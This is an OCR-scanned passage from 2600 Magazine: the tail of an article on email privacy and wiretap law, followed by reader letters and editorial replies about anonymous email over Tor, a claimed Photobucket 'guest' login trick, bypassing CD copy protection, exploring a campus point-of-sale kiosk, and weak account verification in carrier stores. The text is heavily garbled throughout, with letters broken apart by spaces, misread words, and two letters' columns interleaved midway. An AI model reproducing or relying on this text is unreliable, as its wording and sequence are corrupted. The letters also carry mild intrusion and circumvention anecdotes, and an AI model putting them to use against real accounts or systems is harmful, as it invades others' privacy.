of employers make you sign a release when 
they give you an  accou nt on the i r  systems.  
That way they're protected either way. 

(6) The po l ice can acqu i re the contents 
of ECs with a va l id search warrant, which 
req u i res that  there i s  probab le cause that  the 
ema i l s  a re evidence of a cr i me. The pol ice can 
a l so read ECs if  the rec i p ient a l l ows them . 

So what exactl y  is a "prov ider" u nder 
these l aws? Wh i le  it 's not exp l ic i t ly  defi ned 
in the l aw, the common l aw system (what the 
U .S.  uses) a l l ows j udges to look at previous 
court cases to gu ide them . So far, i f  you own 
the serv ice and dec ide i f  others get to use i t, 
you ' re a provider. So if you run a l i nux  box 
and give you r  friends or employees ma i l 
accou nts, you ' re a provider. If you let anyone 
use the system for a fee, you may be a "pu b l i c  
provider." 

What About Sniffing? 
What happens i f  you don ' t  get the i r  

com m u n icat ions  from storage, b u t  sn iff i t  from 
the w i re or from wi re less? I n  most states, the 
seA no longer concerns you .  However, the 
Wi retap Act does come i nto p l ay. In tercept ing  
ECs  withuut author izdt ion by the  rec i p ient or  
l aw may resu l t  i n  u p  to  five yea rs i mpr ison­
ment, open you u p  to c i v i l  su i t  by the v ict i ms, 
and a fine. The "author izat ions under law" is 
an i nterest ing  l i st. You can look at I::Cs on the 
network if you :  

1 .  Get perm iss ion from the rec i p ient  of 
the EC. 

EC.  
2.  Are the i ntended rec ip ient of the 

1 .  Are i ntercept ing  transm i ss ions  

i ntended for the general pub l ic ,  persons, 
sh ips, or a i rc raft in d i stress, pol i celfire/emer­
gency, CB band, or amateur  rad io .  Note: 
encrypted transm iss ions are not considered 
"for the pub l i c" .  

4.  Are i nvest igati ng a sou rce of 
"harmfu l i nterference" to author ized rad io  or 
consumer e lectron ics, as long as the i ntercep­
t ion i s  on ly  to determ ine  the sou rce. 

5. Are an employee of the FCC if  i nter-
cept ing EC is with i n  the i r  job description .  

6.  Are a prov ider of  a n  e lectron ic  
com m u n i cat ion serv ice and the  i nterception 
i s :  

a .  Necessary to provide the serv ice or 
b .  Necessary to protect the r ights or prop­

erty of the serv ice or 
c .  To comply  with a cou rt order or wi retap 

warrant.  
d .  Employees of the above can be protected 

u nder the "provider" exception if the i nter­
cept ion is with i n  the i r  job descr ipt ion .  

There ' s  some other stuff about a l l owing  
the  Pres ident (and  h i s  employees) to  conduct 
fore ign i n te l l igence, but what that means i s n ' t  
goi ng t o  get figu red o u t  for a wh i le .  

What ' s  i n terest ing  i s  that  "providers" a re 
a l lowed to do a l ot more with ECs when 
they ' re in storage than when they' re being 
transmi tted . That may be changing soon .  
There ' s  a recent court ru l i ng tha t  seems to 
l i m i t  what prov iders can do with ECs on the i r  
systems.  

To Recap 
You can read you r  own mai l .  If  someone 

sends you stuff by m istake, you can read i t .  If 
you break i nto someone e l se's server, you're 
in troub le .  I f  you 're a l l owed in the server, but 
get root by some nefar ious means, or guess 
you r  ex-g i r lfr iend's Hotma i l  password to read 
the i r  ma i l ,  you 're in troub le .  I f  you want to test 
out a sn i ffer, get perm iss ion from the owner of 
the network. 

There are some gray a reas in the l aw, such 
as who can grant perm i ss ion  to v iew ECs and 
what consti tutes perm iss ion .  Does lett i ng a user 
sudo grant perm iss ion to redd other people's 
stuff? If I g ive my root logi n to someone else 
and they read you r  ema i l ,  d id  I grant perm is­
s ion to do i t?  Al l  these are i nterest ing  ques­
t ions and they haven't been answered by the 
cou rts yet. Ot cou rse, every one of these q ues­
t ions  w i l l  have to be answered by a rpa l case, 
with v ict ims And  defenda nts. Nohody wants 
to be a test case. 

Be ca refu l out there .  I f  you rlo get busted 
or sued, keep you r  mouth shu t  and ta l k  to a 
l awyer. 
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Dear 2600: 
I have some observations that I wou l d  l i ke to 

submi t  for you r  approva l and potent ia l  pub l i ca­
t ion .  After notic i ng  the "Writers Wanted" text b lock 
on Page 50  of 2 3 : 3 ,  I have decided i t  i s  my t ime to 
contr ibute to the cause. 

Most of the mater ia l  that I have i s  based upon my 
work. I am present ly a contract telecomm u n i cations 
tech n i c i a n  with exper ience i n  carrier-c lass transport, 
some switch i ng, data networks, and access dev ices. 
Pr ior to this I worked as lead tech n ic i an  for an  
av ion ics  center where I dea l t  with severa l promi nent 
ent i t ies in aerospace. 

My concern comes for both my safety, the secu­
rity of my customers, and the future of my career. 
Can I write in anonymous ly?  Does 2 600 Magazine 
protect its writers? 

Name Deleted 

. 
Assuming that was your real name tha t  you 

signed your letter with, we'll s tart by encouraging 
you to protect your identity at the source. We always 
honor the requests of our contributors with regards 
to identification and il is our policy not to reveal any 
of our writers ' personal information without their 
express permission. That  said, we all must recognize 
tha t  there are potential risks whenever mail is sent 
with idmtifying information which ca.n be anything 
trom thC' rPlum address to information inadvertently 
mcluded m the article which can lead people to 
figure out who you are, particularly those in your 
organization who may be trying to find the source 
of a leak. So for those readers who worry about this 
sort of thing, we advise raution with rC'gards to any 
personal information that may be referenced in the 
article (locations, encounters with other people, 
etc. ) and details which could be gleaned from either 
the email address itself or from the fact that someone 
used their internal rorporate address to send mail to 
someone at 2600. Often just the fact that contact 
was made is enough to raise questions. Even without 
knowing the contents of the email that user@evil­
empire .mil sent to articles@2600. com, you can bet 
the powers that he will be keeping a close eye on 
the sender and preparing his interrogation chamber. 
So the short answer is tha t  we will do everything 

to protect your identity. But you must also 

exhibit a good degree of caution if you wan t  to 
preserve your anonymity. 

Dear 2600: 
Sometimes I want to send an  anonymous ema i l  

t o  var ious med ia  orga n i zations a n d  I want t o  make 
sure I ' m  bei ng very anonymous. What I wou l d  do i s  
g o  fi nd an i nsecure w i re less network, l i ke a t  a coffee 
shop for example, and connect to it  with my l aptop. 
I wou ld  open up  F i refox and make sure that a l l  of 
my web traff ic went through Tor ( I  wou ld  use the 
FoxyProxy extens ion for F i refox, with F i refox, Tor, 
and Privoxy i nsta l l ed on an U b u ntu system) .  I wou l d  
then surf my way over t o  hushma i l .com and create a 
new account .  I wou ld  choose Hushma i l  because not 
on ly  are they a privacy orga n i zat ion and are u n l i ke ly  
to share any of my user  i n formation i f  asked (and in  
fact, accord ing  to the i r  webs i te, they don ' t  actu a l l y  
know a n y  o f  my user i nformat ion without my pass­
ph rase because of the way i t  gets hashed), but  a lso 
because it  has an  SSL cert i ficate and it  j ust makes 
me fee l  safer, even if my traff ic is goi ng through Tor. 
Then I wou ld  log i n ,  ema i l  my message to the med ia,  
and log out. Then I wou l d  c lear a l l  the pr ivate data 
111 Fl refox (my cache, h i story, cookies, etc . ) .  I wou l d  
secure ly delete a l l  fi les i nvolved w i t h  t h e  message o n  
m y  computer ( I  u s e  t h e  w ipe package). A l l  t h e  wh i le, 
I ' d  make sure no one was looking over my shou l der. 
Then I wou l d  turn off my computer and leave. 

Are there any holes? I s  there anyth i ng further I 
shou ld  be doing? I wou l d n ' t  spoof my MAC address 
because my w i re less card does n ' t  a l low it, but it  
seems l i ke that wou l d n ' t  even be necessary. Or i s  
i t ?  Wou l d  i t  be worth buy ing a new w i re less card ?  
I s  there a n y  poss ib le  way that I cou ld  get tracked, 
by local po l i ce, feds, Homeland Secur i ty agents, 
members of the med ia ,  or anyone else? 

A. Saboteur 
We can say with assurance tha t  the media lacks 

the skills to do much beyond resolving an IP found 
in the headers of your email. If you really want  
to  test your system, sending a threat to  the White 
House or announcing the grand opening of a new al 
Qaeda chapter would get far more talented people 
involved in the challenge. (We really don't suggest 
thiS method. ) Our readers can most certainly help 
fmd any potential holes in your scheme. The one 
we would point out is the danger of using the same 
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email address for other communications since more 
identifying information might be found if someone 
were to somehow find multiple messages from the 
same address, particularly any to a public forum. 

Dear 2600: 
In issue 23 :4, I th i n k  vyxenange l ' s  statements are 

a l itt le m i s lead i ng. In the movie Hackers, the char­
acters i n  the fi l m  ta l k  about a " r ightous hack" on a 
G i bson and " not any of th i s  accidenta l sh i t . "  The fi l m  
h a s  very good v i sua l  effects b u t  you don ' t  learn a 
th i ng about hacking.  The subway defense system I 
thought was good. It was used by a you ng Angel i n a  
Jo l ie,  w h o  p layed a hacker ca l led Ac id  B u r n .  Don 't 
try th i s  at home. 

My quest ion i s :  I n  the fi lm,  the cover of your 
magazi n e  appears in a scene. Do you know which 
issue they used i n  the movie? 

mr.bitworth 
We were hoping you could tell us since you've 

obViously seen it somewhat recently. You can find a 
full list of our covers on our website. It's most likely 
one of the 1 994 covers and was used in the car 
scene where one law enforcement agent is reading 
lines from the famous "Hacker Manifesto " by The 
Mentor, which, by the way, never actually appeared 
in our magazine. As for the original letter, we believe 
a degree of sarcasm was part of the overall theme. 

Dear 2600: 
Twice now I have opened my cel l phone to 

see I have a vo ice ma i l  and when I con nect to my 
m a i l box and p l ay it, I on ly  hear mus ic .  No voice, 
and my phone does n ' t  say I m i ssed a ca l l .  I p layed 
the mus ic  for ten m i n utes the fi rst t i me and i t  d i d n ' t  
stop, though it  looped. I have Ver izon serv ice.  Can 
anyone te l l  me what on Earth i s  goi ng o n ?  

about:blank 
Someone is calling you and playing music. It 

happens. Sounds to us like you 're getting some sort 
of telemarketing call where they don't have enough 
operators so they actually place people on hold when 
calling them. It could be something else though, 
like someone really trying to waste your time and 
succeeding in wasting their own.  The fact that  your 
phone doesn't ring could be because of a number 
of reasons, including flaky service or someone 
dialing directly into your voice mail greeting to avoid 
ringing your phone. You should also be able to get 
envelope information in the voice mail message that 
may reveal an originating phone number. If there are 
other possibilities, we will no doubt hear of them 
from our readers. 

once password-protected accou nt. How does th i s  
work? And who has heard of i t ?  

The Laguna 
We're not familiar with it but this really sounds 

a bit too simple to not be intentional or completely 
untrue. 

Dear 2600: 
I wrote one an art ic le  in Jan uary 2 007 but I wrote 

i t  in Span i sh .  I can trans late i t  but it  won't be any 
better than i f  you trans late i t .  So I propose to send i t  
to  you  i n  Span i sh  and you  can trans late i t .  

Vidor 
You have a frightening amount of faith in our 

abilities. Even if we did have the skills needed to do 
this (and we don't), there simply isn't enough time to 
translate languages on top of all of the other editing 
tasks involved in a typical issue. That  said, we would 
be thrilled if someone could figure out a system of 
translating submissions to us so that more people 
from around the world could submit articles. Until 
that  happens, you 're best off translating it as best 
you can. Your grammar and spelling will probably 
come out better than that  of many native English 
speakers. 

Dear 2600: 
Are art ic les for 2600 sti l l  accepted at 

art ic les@2 600.com and i s  a l i feti me subscr ipt ion to 
the magaz ine sti l l  offered i f  the art ic le  i s  used? 

d 
That's our address but we never offered a lifetime 

subscription for articles. You get a year and a shirt if 
it's used. If the article is particularly in depth, then 
you get two years and two shirts. Years can also be 
applied to back issues. 

Info 

Dear 2600: 
I am a long t ime l i stener and magaz ine  subscriber. 

L i sten i n g  to and read ing  you r  recent e lect ion and e­
vot ing  stories made me th i n k  I shou l d  let you know 
how it works here i n  Austra l i a .  

I f  you  a re  born  here and go to  school l i ke normal 
then when you turn 1 8  you are automat ica l l y  added 
to the local e lectoral ro l l  and sent a letter to confirm 
th i s, out l i n i ng your respon s i b i l ity to vote and a l so 
outl i n i ng the pena l t ies for not voti ng. You then turn 
up at the local  voti ng booth on E lection  Day, a l ways 
a Satu rday from 8 to 6 at the local schoo l s .  You wa l k  
i n  through a few spru i kers hand ing out how-to-vote 
cards for d i fferent part ies and mosey on over to a 
desk ( i f  you get there at the r ight t i me when there 

Dear 2600: is no q ueue).  They ask you your name and address, 

I was wonder ing i f  any readers or i f  anyone over they ask if you have voted a l ready today, they never 

at 2600 has heard of the new "Photobucket Log i n "  a s k  for a n y  1 0, t h e n  t h e  n ice vo l u nteer crosses you r  

exp lo i t .  Apparently t h e  exp lo i t  h a s  t h e  ab i l ity t o  turn name out and hands you the vot ing  papers.  You get 

any Photobucket account i nto a "guest" accou nt. two papers: a la rge whi te one ( l ast election th i s  was 

What th i s  means i s  that upon the log in screen you two feet w ide) and a sma l l  green one around the s i ze 

wou l d n't need the root password. A l l  you wou ld  of  a 2600 Magazine. You take you r  papers over to a 

type i n to the password box is the word "guest" and,  cardboard booth and f i l l  them out a l itt le  awkward ly, 

boom, you now have " read on ly "  pr iv i l eges to the then fol d  them up i nto a square and pop them i nto 
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cardboard boxes. 
The ha l l ot papers are u n rea l .  The wh ite (House) 

one has about 30  to 50  boxes to fi l l  out with 
n u m bers start ing  with one for you r  fi rst vote, then 
you keep goi ng with the second and so on . . .  or you 
can j ust put  a one i n  the top sect ion of the paper for 
the party you want and you wi II get whatever that 
party has chosen for its preferences. As you can see, 
th i s  has its own problems with preference dea l s  and 
the l i ke .  

There i s  another l ega l vote. That  is ,  i f  you j ust 
put  a one i n  one box for one candidate on ly, then 
that w i l l  be counted but o n l y  in the fi rst round .  
When you r  choice i s  among the lowest p i l e  of  votes 
then you r  vote wi II be d iscarded with no prefer­
ences. Norma l l y  it  wou l d  then go to number two, 
then th ree, and so on unt i l  there were on ly  two p i les 
of votes and a w i n ner was dec lared . Wh i l e  this is 
a l ega l  vote, i t  i s  a federa l offense to actu a l l y  let 
anyone know about i t .  People h ave been a rrested for 
hand ing  out how to vote cards that promote this type 
of vote . . . .  The' green (Senate) paper is much s i mpler  
with on ly  f ive to seven boxes to n u mber. 

The prob lem with the preferent ia l  vot ing system 
is that my vote wi l l  a lways end up with one of the 
two major parties in most cases and not a lways the 
one you prefer, u n l ess you fi l l  out every box on the 
paper and put that candidate last. 

The system i s  open to many s imp le  hacks but it  
does n ' t  rea l l y  happen to any extent .  There are a lot 
of unfi l led papers and inva l i d  votes tbough. 

Breto 
The system you describe is known as Instant 

Runoff voting. Basically it saves the trouble of having 
to hold multiple elections, otherwise known as 
runoffs, to determine who the ultimate winner is. 
This system is used in some parts of the United States 
and may catch on in the future. Most people seem 
intimidated by it because of its seemingly complex 
nature. 

Dear 2600: 
I ' m  wr i t ing th i s  in regard to "R i ngtone Down­

load Fol l iez" from 2 3 : 3 .  I was eager to try this out 
but every r i  ngtone I saw that I wanted was stored 
in a . swf fi le .  I d i d  some research on .swf f i les and 
fou n d  that  they were m u lt i -part, mea n i ng that  the  
r i ngtone was  stored someplace other than the .swf 
fi l e  itself. So I got on Fi refox, enabled the l ive http 
headers add-on, checked the request box, and 
reloaded the . swf page. I then checked I i ve  http 
headers and fou n d  exactly where the mus ic  fi le  was 
stored (e.g. ,  http://content.ringtonio.nl/ 

"swfp/STREAM21 1 7 5 . SWF) . Then I saved the 
page and changed the fi le  from swf to mp3 with a 
free fi le  converter. I hope th i s  he lps .  

A l so, 23 :3 was the fi rst 2600 Magazine I ' ve 
gotten .  My s i ster knew I loved computers so she got 
it for me. We were both asto n i shed when we saw my 
o l d  sma l l  town e lementary school on the back cover 
(Mounta i n  View E lementary School ,  Manchester, 

GAl. I now have a subscr ipt ion and look forward to 
future issues!  

Danielmoore 
It certainly is a small world, isn 't it? 

Dear 2600: 
In response to l upO ' s  l etter in 2 3 : 3  about concern 

for potent ia l  pr ivacy i nfri ngements made by Cox 
Com m u n ications, I wou l d  l i ke to share what l itt le I do 
know about how most of these "copyright i nfr i nge­
ments" are hand led. F i rst off, I worked for Cox for 
over two years as a lowly tech n ica l  support agent 
hand l i ng cal l s  from every l ast J i m-Bob and Cletus i n  
the a rea about their  I n ternet service, s o  let 's  j ust say 
the mandatory beforehand experience requ i rements 
for employment were not very i mpressive. But  i n  a l l  
truthfu l ness, most o f  t h e  floor agents are given a n  
absurd amount o f  run-around when ask ing a n y  ques­
t ions that dea l t  with the world outside of the cube. If 
a customer cal led in compl a i n i ng of nonfunctio n i ng 
service, we wou l d  pu l l  up the i r  account and notice 
that i t  had been "flagged" by the corporate office i n  
Atlanta.  The next step wou l d  b e  t o  access a nother 
web-based uti l i ty that a l l owed us  to see a l l  types of 
i ssues related to the customer's account categor ized 
by modem MAC. In the case of "copyright i nfri nge­
ment, " there wou l d  actua l l y  be a copy of a facs i m i l e  
from t h e  correspond ing enterta i nment conglomerate 
( i .e . ,  Warner B rothers, Fox, etc . l . l t  wou l d  be a s imp le  
letter from the company ' s  l ega l  team i nform ing Cox 
of the copyright issues. They wou l d  never go i nto 
deta i l ,  but wou ld  a lways say someth i ng h u morous ly  
nonchalant  about  "happe n i ng to notice" or  some 
crap l i ke that. They wou l d  then present Cox with the 
condit ions for hand l i ng the customer's account. They 
wou l d  request that the customer be i nformed of the 
i nfri n gement and g iven notice that service wou ld  be 
termi n ated upon another v io lat ion.  They wanted two 
stri kes and you're out, but  the genera l ru le  was three. 
I tr ied i nvestigati n g  i nto this as much as poss ib le  but  
no one seemed to have a c l ue about how they found  
out or d i d n ' t  seem to  care. And unfortunately most 
snoopi ng was d i ffi cu l t  with the constant phys ica l  
moni tor i ng and the ever watchfu l screen capture 
software that, for some reason, they frowned upon 
be ing d isab led .  Now I am no longer employed 
there and so I don ' t  have access to eas i l y  research 
anymore. And, by the way, a s imp le  IP address 
anonym izer seems to be an easy way around th i s .  I 
never saw any i ssues ar ise from peop le that I knew 
to be us ing  such software. And 2600 staff, thanks for 
a conti n u a l l y  great pub l icat ion .  

NOvusOpiate 

Dear 2600: 
A week or  so ago from Borders I bought a Bad 

Re l ig ion CD ca l l ed Punk Rock Songs. The CD was an  
i m port from Germany that  i nc l uded many obscu re 
tracks that I rea l l y  rea l l y  wanted. When I got home 
and popped i t  i nto my Xbox to burn and make my 
persona l  copy, the d i sc wou l d n ' t  p lay. I t  was labeled 
i n  German that it "wi l l  not p lay i n  a PClMac." As the 
Xbox i s  j ust a dressed up pc, I k i nda got parano id, 
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remember ing that s i tuat ion where Sony got sued for 
spyware that bur ied itself i n  root. So I wou l d n ' t  even 
cons i der p lac ing  it  i nto my computer to burn .  I got 
to th i n k i ng of a l ternative methods to get the i n forma­
t ion cut i nto my lega l ly protected r ight for persona l  
cop ies of  mus ic .  P lus  I a lways burn  a copy j ust i n  
case the orig ina l  becomes i noperative. 

I ' m  not that fam i l ia r  with the copy protection 
software from Sony and I wanted to keep i t  quar­
ant i ned from my box. I j ust wa nted to f ind a way to 
create h igh  qua l ity cop ies of the mus ic  from the CD 
onto my hard dr ive. Then i t  dawned on me .  Use a 
portab le  CD p layer and a double ended headphone 
jack cord you can f ind at Rad io  Shack ( 1 /8th stereo 
m i n i p l ug to 1 /8th stereo m i n i p l ug) and a program 
l i ke Audacity, which is u sed to record you r  aud io  
i nput, as most med ia  p layers don ' t  qu i te do that 
anymore ( http://audac ity . sourceforge. 
net/ I · 

I t 's extremely s i mple .  You con nect the " l i ne out" 
on the CD p layer (or even the headphone out) to 
the cord . You connect that cord to the back of you r  
computer at t h e  " a u d i o  i n ." P lay t h e  CD and u s e  the 
program to record the tracks .  I t's a hardware va riety 
bypass of the copy protect ion  software on the CD. 

Many peop le  I f igure a l ready know about th i s, 
but I fe l t  l i ke i n for m i ng the masses about a bypass 
of a l l  secur i ty devices on a copy protected CD (so 
you can essenti a l l y  quarant ine the d i sc as I don ' t  
trust a Sony d i sc i n  my drive) . I t  does n ' t  matter what 
program i s  used to protect the CD as you are j ust 
record ing  the aud io  goi n g  i nto the computer and i t's 
be ing p layed i n  a "dumb" CD p layer so it w i l l  bypass 
the code that prevents i t  from being p layed on the 
computer dr ive. My computer is anc ient but I have 
th i s  fee l i n g  that the same can be done with outs ide 
v ideo sou rced from RCA j acks or cable or whatever. 
Of cou rse there are software ways to do th i s, but I 
wanted to rem ind  peop le  that there are hardware 
ways to get these th i ngs accompl i shed as wel l .  

Rae 

Dear 2600: 
I ' m  a p h i losophy student at Mou nt A l l i son 

U n iversity i n  New Bru nswick, Canada, and an  av i d  
reader o f  2600. Recent ly my school switched d i n i ng 
servi ces from Sodexho to Aramark, and with the 
changes came an in terest i ng l i tt le novelty h idden 
away in the corner. They i nsta l l ed a l i tt le computer 
ca l led the P ioneerPOS ( Po i nt Of Sa le i s  my guess) .  
Th i s  i s  offi c i a l l y  for nutr i t ion i nformation and a menu 
for  the week.  A l so offi c i a l l y  (a l though somewhat 
u nadvert i sed for now), i t ' s  used for buy ing snacks 
from Aramark. Aramark has the food monopo ly  on 
campus and so any food sold on the campus  i s  from 
them . 

I happened to be eat i ng  near it when I noticed 
there was a t i ny box on the touch-sens i t ive d i sp lay. 
There was a program update for "GoToMyPC" wh ich  
i s  u sed for remote access . Although th i s  i s  a guess, 
I th i n k  that the program takes the sales from the 
mach i ne and sends them to the centra l  corporate 

headquarters, wh ich  then orders the out lets what to 
do. Anyhow, I c l i cked the box and i t  rebooted the 
machi ne, which led to a wea lth of i nformation .  The 
motherboard i s  American Megatrends and the OS 
i s  Windows X P  Embedded . I t  booted to the desktop 
and I nav igated the touchscreen with a pen cap 
(f ingers wou l d  be too d i ffi cu l t  and i t  was necessary 
to get the toolbar  from "auto-h ide"l .  

I checked the programs i t  had i nsta l l ed, which 
were CampusDish Kiosk, GoToMyPC, and  Norton 
Ant iv i rus .  I t  a l so had Windows Med ia  P layer 1 0  
and the defau l t  songs that come with X P  ( Dav id  
Byrne cran ked up  loud on th i s  mach i n e  was  qu ite 
h umorous) .  The mach i ne was three g igahertz and 
had 1 .99 g igs of RAM, wh ich seems l i ke i ncred i b l e  
overk i l l  for a mach i n e  t h a t  i s  more or iess a term i n a l .  
I t  was con nected t o  t h e  campus network, s o  I had 
no way to i dentify exact ly where the i n formation 
obta i ned on this computer went. There were two 
hard dr ives, one of which he ld  the system i n forma­
tion and one that held two .GHO fi les. One dr ive 
was rough ly  700 MB and the other was about 1 .2 
G B .  

I ' m  not exact ly  sure what i nformation i s  on that 
mach i ne. However, from my l i tt le i nvestigat ion,  I 
gather it wou l d n ' t  be too d i fficu l t  to d i g  i nto actua l  
student numbers and purc hases, ass u m i n g  the i n for­
mation is i n it i a l l y  stored on one of the hard dr ives. 
Th i s  makes me rather parano id  about the way these 
card-sw ipe u n i ts are used. Mount A l l i son i s  new 
to us ing  magnet ic  str ipe I Ds and I worry that the 
mach i nes i t  w i l l  be ut i l i z i ng now and in the futu re 
w i l l  conti nue to be i nsecu re and v u l nerab le .  

Tha n ks for  a great mag!  
Local Luminary 

Dear 2600: 
I am a new subscr iber to you r  magn i ficent maga­

zi ne, enjoy i ng the extended access to new techno lo­
gies through you and Maximum PC, and a res ident 
of Pennsy lva n i a ' s  D.O.C.  I ' m  writ ing in response to 
sourso les' letter concern i ng A IM re lay for pr i soners. 

The rumor of I n ternet access in pri sons, Pennsy l ­
va n i a ' s  at  least, i s  j ust that. A rumor. U n less an  educa­
t ional course requ i res i t, i nmates aren ' t  perm i tted 
to see a computer, let a lone touch one.  What l i tt le 
access I have had has shown a bas i c  network with 
no I nternet access. Secur i ty i s  surpr i s i ng ly lax but I 
attr ibute th i s  to the bas i c  i n mate pop u l at ion being 
you r  usua l  Layer 8 i d iots. Shou l d  I come across 
someth i ng with potent ia l  I ' l l  be sure to share .  

The phone system itself was  upgraded to  an  auto­
mated system some t ime back. S i nce the upgrade, 
a l l  phone n u m bers are pre-approved before ca l l s  are 
perm i tted . Even then ca l l s  are l i m ited to one or two a 
day, depend ing  on you r  custody leve l .  Ca l l i ng cards 
are a n  option .  Th i s  i s  j ust a cred it  to you r  account 
with the phone company, not a n  actua l  card. U nfor­
tunate ly  the cheapest card for us is the equ iva lent  
of a m i n i m u m  wage employee on the street pay i ng 
$ 3 7 5  for a 40 m i n ute card. That is a whole other can 
of worms though . 
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I apprec iate you r  efforts i n  try ing  to a i d  fam i ly/ 
friends of the i ncarcerated . It a l most rem i nds me of 
what i t ' s  l i ke to be amongst peop le  aga i n .  

Tha n k  you 2600 for you r  notice o f  t h e  need for 
change. Most people wou l d  sooner forget about us 
and our  fr iends and fam i l ies than he lp  speak out 
about i nj ust ices we endure. 

SN 
In recent months there has finally been a ttention 

given to the horribly unfair telephone rates forced on 
prisoners and their families. We have a very unhealthy 
attitude of forgetting about our incarcerated citizens 
and, in fact, treating them as if they were subhuman, 
regardless of the actual circumstances behind their 
imprisonment. As more and more of us are found 
guilty of" one thing or another, this mentality is really 
going to wind up biting us in the ass. 

Stories 

Dear 2600: 
My boss is a "sysad m i n "  in our  department. 

Unfortu nately, I ' m  the "ass i sta nt . "  I wou l d  l i ke to 
share this short but fu nny  story. I was brows i n g  
around h i s  fi l es on t h e  network t h e  other day, which 
he hasn ' t  restr icted access to ,  and found  a very short 
document deta i l i ng the imp l icat ions of unauthor­
i zed access to our  on ly  U N I X  server u s i ng the root 
account. 

The document i s  so short i t  i s  fun ny. My boss 
knows zero about U N IX,  and i t  appears he th i n ks no 
one else does e ither !  Here are h is  statements: 

" Root cannot be accessed remotely you need 
to he in front of the serwr. " (A modem is  hooked 
up to the server and i s  c lear ly  v i s ib le ) .  " To do any 
damage on the UNIX server using the root account, 
you would need a good understanding of UNIX. " 

Anyway, keep up the great work with the mag, 
Olf "The Hook, and Off the Wall. 

bri l l  (England) 
It s not hard to Sf'e how someone could reach 

these cOIlc/usiolJS. Lots of servers don 't permit 
remote logins to root. But of course you can still 
become root remotely in a numher of c!if(erent  ways, 
authoriZf'd and unauthorized. Not knowing this may 
give someone d false scnse of security. But it 's a lot 
harder to figure out how someone could think tlldt 
you can only s("ww something up by having a good 
understanding of it. If anything, the opposite is true. 

Dear 2600: 
A few months ago I wa ndered i nto a C ingu la r  

reta i l  locat ion a n d  wanted t o  f ind out how much 
i nformation about  my account  they had access to .  
I acted as i f  I wa nted to pay my b i l l  and had some 
other quest ions about my account. I to l d  one of the 
sa les reps my cel l  n u mber and he pu nched i t  i nto 
the computer and up carne a l l  of my i n fo,  i nc l u d i ng 
my address, date of b i rth, last fou r  d igits of my Soc i a l  
Secur ity N u mber, and ca l l h i story. I watched the 
screen as he looked at my account. Unfortu nately, 
the rep d i d n ' t  even know who I was s i nce he d i d n ' t  
a s k  me t o  ident i fy myse lf  nm d i d  he ask for the pass-

code I exp l ic i t ly  to l d  C i ngu la r  to put on the account 
when I f i rst got serv i ce. More aston i s h i ng ly, the pass­
code was d i sp layed in p l a i ntext on the computer 
screen in red color !  I assume he was supposed to 
ask me to confi rm it. Oops. 

D i stu rbed by th i s, I next went to one of the 
Ci ngu lar  franch i se stores i n stead of a corporate store 
l i ke the fi rst one. Aga i n ,  I s i mp ly  sa id  I had some 
quest ions about my accou nt, gave the woman my 
cel l  n u mber, and she p u l led u p  the record and 
a l lowed me to  look  at i t .  She d idn ' t  ask who I was  or 
confirm any account i nformation or the passcode. 
The only d i fference was the look of the web-based 
appl icat ion she was us i ng, and the fact that she did 
ask for my z i p  code when she fi rst punched i n  the 
cel l  number. Recent ly I found  out that the franch i se 
stores now need to put i n  the last fou r  d igi ts of the 
SSN to access the accou nt. Sti l l ,  the passcode is 
d i sp layed i n  red for them to see. 

I ' m  rea l l y  d i sappoi nted to see th i s  easy ava i l ­
a b i l ity o f  m y  ce l l  phone records, espec i a l l y  after the 
scandal  l ast year in wh i ch a nyone cou l d  pay $ 1 00 
to get a ca l l  h i story through pretext i ng. I d i d n ' t  even 
have to pretext to get th i s  i nfo. I cou l d ' ve been anyone 
go ing i nto the stores and giving them any phone 
n umher s i nce they d i d n ' t  ver i fy my i dentity. Then I 
cou l d 've ca l led c ustomer su pport with the passcode 
that I cou l d  see onscreen and do whatever I wanted . 
The b ig  question is why does an i n-store sales rep 
even need access to accou nts that have a l ready been 
set up? The i r  job i s  to sel l and act ivate new phones. 
They cou l d  sti l l  accept b i l l  payments without hav ing  
access to  ex ist ing customer accounts. A l lowing  i n ­
store sa les reps t o  have account access i s  m u c h  less 
secu re than hav ing that i n fo ava i lab le  on ly  i n  a ca l l  
center. For one, the i nteract ion i s n ' t  bei ng recorded, 
and the store reps are open to br ib i ng, whereas ca l l  
center reps are much less l i ke ly t o  b e  ab le to accept 
br i bes due to l ogist ica l  reasons.  

On the C i ngu lar  webpage they state: 
"As you may have read or seen in the media, a 

number of web sites are advertising the availahility 
for sale of wireless phone records. Please know that 
CingulaI' Wireless does not sell customer information 
to, or otherwise cooperate with, theSt' companies, 
and we are working aggressively to combat their 
practices. .  .. Cingular is supporting efforts to crimi­
nalize the unauthorized acquisition or sale of wireless 
phone records. In addition, CingulaI' has a variety of 
safeguards in place to protect agailJSt unauthorized 
access to customer information, and we continue to 
evaluate and enhance these safeguards. If you wish 
to hetter protect your account from unauthorized 
d CU'SS, contact us at  / -866-ClNCULAR ( / -866-246-
48S2) and ask that a passcode be placed on your 
dccount. II 

Wel l ,  they can start the cr i m i na l  i nvest igat ion 
with the i r  own i n-store sa les peop le.  

As a s ide note, I a l so saw a sma l l  colored graph 
of some k i n d  on my account ' s  ma in  page, wh ich 
i n d icated how much revenue I b rought i n  re lat ive 
to other customers. I asked the rep what it was a n d  
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that 's  when he got u pt ight and sa id  I wasn ' t  even 
supposed to be look ing at the computer. I guess th i s  
graph te l l s  ca l l  center reps how va luab le  I am as a 
c ustomer. 

Dave 
As long as there are human beings in the equa­

tion, security holes like this are going to exist in one 
form or another. Education, not automation, is the 
answer. 

Dear 2600: 
I am 1 8  years o l d  and h ave been a reader for 

many years. There aren ' t  any meet ing  p laces c l ose 
to me so I have never been able to attend.  Today I 
received my l etter of acceptance to the U n ivers i ty 
of F lor ida .  When I was read i ng the meet ing  p lace 
page I was rea l ly exc i ted when I saw that there i s  a 
meet ing  on the U F  campus.  Now I can ' t  wa i t  u nt i l 
August. Tha n ks for such a great read !  

Kevin 
Many college applicants choose their college 

based on whether or not there 's a 2600 meeting 
nearby. It makes perfect sense to us. 

Dear 2600: 
I recently renewed a domai n  name. I ca l led 

the company i nstead of dea l i ng with i t  on l i ne due 
to compl i cat ions that I won ' t  go i nto. I received a 
tel le r  who was l ocated i n  the Ph i l i pp i nes.  I ended up 
ca l l i ng th i s  company three t i mes. The fi rst and l ast 
c a l l s  were dealt with through the Ph i l ipp i nes office 
and the second cal l was through a m a i n  office i n  
Pen nsylvan ia .  

The  doma in  name was  to  be pa id for by  an  author 
I work with .  The te l ler in Pennsylva n i a  wanted to 
speak with the author in order for the renewa l to 
be processed whereas the te l ler in the Ph i l ipp i nes 
